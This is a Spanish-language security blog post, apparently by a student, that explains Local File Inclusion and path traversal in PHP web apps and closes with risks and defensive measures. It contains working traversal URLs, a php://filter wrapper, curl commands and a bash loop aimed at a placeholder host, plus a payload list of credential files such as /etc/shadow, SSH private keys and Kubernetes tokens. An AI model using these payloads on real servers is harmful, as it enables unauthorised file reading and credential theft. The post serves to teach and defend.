Rubén De la Torre Vico

4rd year student of computer engineering at the University of Granada. Average hacking and linux enjoyer. I use Arch btw.

6 minuto(s) de lectura

En el día de hoy voy a escribir sobre una vulnerabilidad web muy sencilla la cual permite al atacante incluir, es decir, ganar acceso a archivos que se encuentran localmente en el servirdor; los cuales no están pensados para ser accedidos por el usuario.

Si no funciona el LFI estándar se pueden usar distintos wrappers de PHP(siempre y cuando el backend esté programado en php obviamente, que es el lenguaje más común donde se producen este tipo de vulnerabilidades) para intentar que funcione. Algunos ejemplos de estos wrappers son file:: ó file=php://filter/convert.base64-encode/resorce=script.php, este último nos daría el código fuente en base 64, por lo que al decodificarlo se obtendría el fichero fuente de PHP con los comentarios.

Path traversal

Esta técnica es muy usada junto a este tipo de ataque, y trata de recorrer directorios de forma arbitraria para acceder a cualquier archivo del sistema (siempre y cuando el archivo tenga los permisos correctos para ser leído). En última instancia el atacante podría subir un archivo malicioso al servidor y acceder a través de esta técnica modificando el comportamiento de la aplicación en su favor.

Ejemplo básico

Supongamos que la página usa un script en php para ver la página, una url del tipo http://vulnerable_host/preview.php?file=example.html. Una forma típica de comprobar si es vulnerable es cambiando la anterior url por http://vulnerable_host/preview.php?file=../../../../etc/passwd, con esto lo que hacemos es retroceder en el los directorios padre (no importa el número de saltos siempre se para en la raíz del sistema) hasta poder llegar al fichero /etc/passwd/ el cual siempre suele estar presente en sistemas linux además de soler tener permisos de lectura por otros.

Como conclusión si imprime el archivo /etc/passwd es vulnerable por lo que nos permite intentar visualizar cualquier archivo del sistema(que nos coincidan los permisos de lectura), lo que puede empezar por recopilar información de los usuarios del sistema en /etc/passwd, o algo más crítico si los permisos de lectura no son correctos recopilar keys ssh de algún suario de su directorio home (~/.ssh) para poder conectarnos al servidor con sus credenciales, etc.

En el caso de un servidor Windows la ruta se buscaría con \ en lugar de / común en sistemas Linux.

Posibles vectores de ataque

~/.ssh/id_rsa

Si consigues mostrar este archivo, serás capaz de acceder por ssh al servidor víctima con los credenciales de un usuario autorizado (es recomendable primero ejecutar curl -s http://vulnerable_host/preview.php?file=../../../../etc/passwd | grep "sh$" para listar que usuarios y shells asociadas hay en el sistema, el -s del curl es de silent, y eso se pone para que no muestre el porcentaje de progreso).

/proc/sched_debug

Con el archivo /proc/sched_debug podríamos enumerar todos los procesos que está corriendo el sistema y hacernos una idea de como funciona por dentro el servidor.

/proc/net/fib_trie

Este archivo tiene la topología interna de la red, para verlo bien podríamos hacer curl -s http://vulnerable_host/preview.php?file=../../../../proc/net/fib_trie y mediante el uso de grep y expresiones regulares ordenar la entrada para que sea más reconocible.

Esto puede ser útil para ver si el servicio está siendo ejecutado en un contenedor o como se comunica el servidor internamente.

/proc/net/tcp

Para ver los puertos abiertos que tiene abiertos al completo, por si tiene puertos abiertos internamente . La manera de leer este archivo es la primera columna, todo lo que está después de los dos puntos son los puertos en hexadecimal. Para obtener una salida visible para un humano podriamos usar el siguiente bucle:

for port in $(curl -s http://vulnerable_host/preview.php?file=../../../../proc/net/tcp | awk '{print $2}' | grep -v 'local_address' | awk '{print $2}' FS=":" | sort -u)\
    do echo "[$port] -> Puerto $(echo "ibase=16; $port" | bc)"
    done

Basicamente lo que hace el bucle es limpiar la entrada y quedarse sólo con los puertos en hexadecimal y traducirlos en una salida donde se muestra el puerto y su traducción a decimal.

  1. El primer awk separa por defecto por espacios por lo que el 2o argumento es la primera columna.
  2. El -v de grep es para eliminar las coincidencias con local_address.
  3. El segundo awk con FS le estamos indicando que use como separador “:”.
  4. El -u de sort es para que muestre los únicos.

Es normal no ver el puerto 80, ya que con ese comando se está listando solo los puertos abiertos internamente, estos suelen estar protegidos desde afuera por un firewall.

Payload de archivos interesantes

/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]*   (first number is the PID, second is the filedescriptor)
/proc/self/environ
/proc/version
/proc/cmdline
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/self/cwd/index.php
/proc/self/cwd/main.py
/home/$USER/.bash_history
/home/$USER/.ssh/id_rsa
/run/secrets/kubernetes.io/serviceaccount/token
/run/secrets/kubernetes.io/serviceaccount/namespace
/run/secrets/kubernetes.io/serviceaccount/certificate
/var/run/secrets/kubernetes.io/serviceaccount
/var/lib/mlocate/mlocate.db
/var/lib/mlocate.db

Riesgos

  • Ejecución no autorizada de archivos sensibles: Un atacante podría acceder y ejecutar archivos sensibles del sistema, como contraseñas, archivos de configuración, registros, etc.

  • Revelación de código fuente: Un atacante podría acceder a archivos de código fuente de la aplicación, lo que podría revelar detalles de la lógica interna y facilitar la identificación de otras vulnerabilidades.

  • Exposición de datos confidenciales: La LFI podría permitir a un atacante acceder a datos confidenciales almacenados en archivos, como información de clientes, datos financieros, registros médicos, etc.

  • Ejecución de comandos maliciosos: Si el servidor permite la ejecución de scripts o comandos a través de la LFI, un atacante podría inyectar comandos maliciosos y tomar el control del sistema.

  • Denegación de servicio: Un atacante podría explotar una LFI para cargar archivos grandes o infinitos, lo que podría agotar los recursos del servidor y provocar una denegación de servicio.

  • Ataques de inyección de código: Si se combinan la LFI con otras vulnerabilidades, como la inyección de código, un atacante podría ejecutar código malicioso en el servidor y comprometer la seguridad.

  • Escalada de privilegios: Dependiendo de los permisos del sistema y la configuración, un atacante podría utilizar una LFI para obtener acceso no autorizado a áreas del sistema a las que normalmente no tendría acceso.

  • Revelación de información sensible en registros de error: Los mensajes de error generados por una LFI podrían contener información sensible o rutas de archivos que podrían ser útiles para un atacante.

  • Escalamiento de acceso a través de información obtenida: La información obtenida a través de una LFI podría utilizarse para llevar a cabo ataques más avanzados y comprometer aún más la seguridad de la aplicación.

Protecciones

  • Validación de entradas: Validar y filtrar cuidadosamente las entradas de usuario para evitar que se utilicen rutas o nombres de archivo no autorizados.

  • Aplicar listas blancas: Utilizar listas blancas para definir las rutas y nombres de archivos permitidos en lugar de listas negras, que especifican lo que no está permitido.

  • Configuración segura del servidor: Asegurarse de que la configuración del servidor web esté adecuadamente restringida para limitar el acceso a archivos y directorios sensibles.

  • Limitar permisos de archivos: Configurar adecuadamente los permisos de archivos y directorios para que solo se puedan acceder a los recursos necesarios para el funcionamiento de la aplicación.

  • Seguridad de sesiones: Implementar mecanismos de gestión de sesiones seguras para evitar que los atacantes utilicen la LFI para acceder a archivos de sesiones.

  • Control de acceso: Aplicar controles de acceso basados en roles para garantizar que solo los usuarios autorizados puedan acceder a recursos sensibles.

  • Auditoría y monitoreo: Implementar registros de auditoría y monitoreo para detectar actividades inusuales o intentos de explotar la LFI.

  • Actualización de software: Mantener actualizado el software y las bibliotecas utilizadas en la aplicación para abordar vulnerabilidades conocidas.

  • Aplicar parches de seguridad: Aplicar parches de seguridad en tiempo real para abordar nuevas vulnerabilidades a medida que se descubren.

  • Pruebas de seguridad: Realizar pruebas de seguridad regulares, como pruebas de penetración y escaneo de vulnerabilidades, para identificar y abordar posibles LFI.

  • Capas de seguridad múltiples: Utilizar una combinación de medidas de seguridad para crear capas de protección que dificulten la explotación de la LFI.

  • Educación y concienciación: Capacitar al personal y los desarrolladores sobre las mejores prácticas de seguridad y concienciar sobre los riesgos de la LFI.

  • Seguridad en el código: Realizar revisiones de seguridad de código para identificar y corregir vulnerabilidades de LFI durante el desarrollo.

  • Aplicar principios de seguridad OWASP: Seguir las recomendaciones y directrices proporcionadas por el Proyecto OWASP (Open Web Application Security Project) para proteger las aplicaciones web contra amenazas como la LFI.

Referencias

Categorías:

Actualizado: